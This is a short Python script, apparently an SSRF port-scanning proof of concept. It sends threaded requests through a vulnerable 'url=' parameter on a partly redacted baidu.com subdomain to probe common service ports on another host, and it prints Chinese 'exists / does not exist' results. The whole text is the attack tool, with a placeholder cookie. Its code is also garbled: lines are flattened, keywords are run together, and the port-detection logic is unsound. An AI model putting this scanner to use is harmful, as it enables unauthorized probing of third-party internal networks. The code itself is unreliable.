import sys import threading import requests import queue import time threads_count = 2 que = queue.Queue() lock = threading.Lock() threads = [] ssrf_url = "http://xxx.baidu.com/xxx/xxx/xxx/xxx?url=" test_url = "https://xxx.xxx.com/xxx/xxx.php?p=" ua = { 'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9', 'Host': 'xxx.baidu.com', 'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8', 'Cookie': 'xxxxxxxx' } ports = [21,22,23,25,69,80,81,82,83,84,110,389,443,445,488,3389,512,3306]
for i in ports: que.put(str(i)) defrun(): while que.qsize() > 0: p = que.get() try: poc = ssrf_url+test_url+"{port}".format(port=p) r = requests.get(poc,headers=ua,timeout=2.3) result = "{port} 存在".format(port=p) print(result) except: result = "{port} 不存在".format(port=p) print(result)
for i inrange(threads_count): t = threading.Thread(target=run) threads.append(t) t.setDaemon(True) t.start()